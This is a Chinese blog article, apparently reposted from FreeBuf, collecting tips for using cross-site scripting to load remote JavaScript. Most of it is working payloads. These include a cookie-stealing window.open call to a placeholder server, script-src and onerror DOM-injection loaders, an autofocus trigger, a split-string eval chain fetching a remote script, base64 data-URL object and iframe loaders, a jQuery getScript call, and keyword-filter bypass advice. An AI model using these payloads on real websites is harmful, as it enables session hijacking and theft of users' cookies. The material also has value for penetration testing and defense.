专栏首页FreeBufxss如何加载远程js的一些tips

xss如何加载远程js的一些tips

在早期 , 对于xss我们是这样利用的

<script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script>

将 cookie之类的数据传递到自己的服务端

但是 如果要更为复杂的攻击的话,由于字符串长度等限制 需要加载远程js来实现。

一个简单的例子

<script src=http://xxx.xxx/a.js></script>

这样更为简洁

<script src=//xxx.xxx/a.js></script>

src属性会自己取当前页面的协议。

过滤了 <>的话 有时候可以用 %bf u003cu 等来绕过。

对于可以执行js的属性,我们可以控制其内容的话,可以基于DOM的方法创建和插入节点调用js

<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>

不要忘记 autofocus无须交互即可执行js。

<input autofocus="" onfocus="........" />

过滤了 script ‘ create 等关键字的话。 各种编码绕过即可。 你可以看下jin的这篇文章http://drops.wooyun.org/tips/689

或者用String.fromCharCode 函数转换成 asc码

但是string.fromcharcode 太长了,在同一个页面,可控多个输出的时候, 可以对全局变量 进行多次赋值

一个经典的例子

<script>z='document.'</script><script>z=z+'write("'</script>
<script>z=z+'<script'</script><script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script>
<script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script><script>eval_r(z)</script>

我们也可以用data url 来加载。

<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4=">
</object>
<iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4=">
</iframe>

PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4= 是

<script src=http://xxx.xxx/a.js></script>

的base64值。

支持data url 的标签还有

<anchor>、<img> <a>(需点击) <meta>.....

需注意的是

<img>

里的 data url 是不允许执行js的。

还有, ie8 以下浏览器是不支持 data url的。IE8 data URL 最大长度限制为32k字节,超出无效。IE9+没有这个限制 ie不支持对

<frame>

标签的src设置data URL

有时候 我们可以直接调用javascript框架的函数 来实现一些功能。

比如, 支持 jquery的话(通过查看源代码,你可以看出是否支持) 我们直接这样调用就可以了

$.getScript("//xxx.xxx/a.js");

实践出真理!

本文分享自微信公众号 - FreeBuf(freebuf),作者:阿布

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2014-01-26

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 卫星黑客利器:OpenATS新版本更新

    随着卫星互联网在全球的加速布局以及我国今年正式将卫星互联网纳入新基建范畴,卫星互联网迎来大规模布局和加速发展,特别是以低轨卫星星座StarLink为代表的大型卫...

    FB客服
  • DVWA 1.10 High等级的CSRF另类通关法

    由于使用了不可猜测到的token,所以我们首先想到的思路,就是找一个XSS漏洞来配合,先通过XSS获得token之后修改密码。

    FB客服
  • 深入分析一个Pwn2Own的优质Webkit漏洞

    今年的Pwn2Own比赛刚刚结束,在Pwn2Own温哥华站的比赛中,Fluoroacetate团队所使用的一个WebKit漏洞成功吸引了我的注意。这个漏洞是一个...

    FB客服
  • vconsole进行手机端调试

    任我行RQ
  • Js基础教程之认识js

    老雷PHP全栈开发
  • 前端基础-Ajax跨域问题的解决方案

    同源策略,也叫跨域禁止策略; 阻止从一个域上加载的脚本,获取或操作另一个域上的资源;

    cwl_java
  • 更好的理解 Script 标签元素

    我们在 《Javascript简史》这遍文章中说过,「Javascript」这门语言是由 Netscape开发而来,当初开发的时候为了能让 「Javascrip...

    六小登登
  • 【开源游戏/射击】愤怒的小红帽

    HTML5愤怒的小红帽小游戏是一款益智休闲射击小游戏,游戏中一支箭,一个便当袋,小红帽能平安的到达老奶奶家吗?赶紧一起护送小红帽去奶奶家吧。完成这个神圣的任务,...

    用户5997198
  • 【开源游戏/休闲益智】找您妹!

    在各类物品中精准锁定目标,既需要眼力也需要专注,双人眼力大比拼,3局2胜看谁更快找到所有物品。眼力不好怎么找对象!快来和你的小伙伴比拼一下眼力吧!

    用户5997198
  • 浏览器中的ECMAScript模块(译)

    本文作者:IMWeb zzbozheng 原文出处:IMWeb社区 未经同意,禁止转载 原文:https://jakearchibald.com/20...

    IMWeb前端团队

扫码关注云+社区

领取腾讯云代金券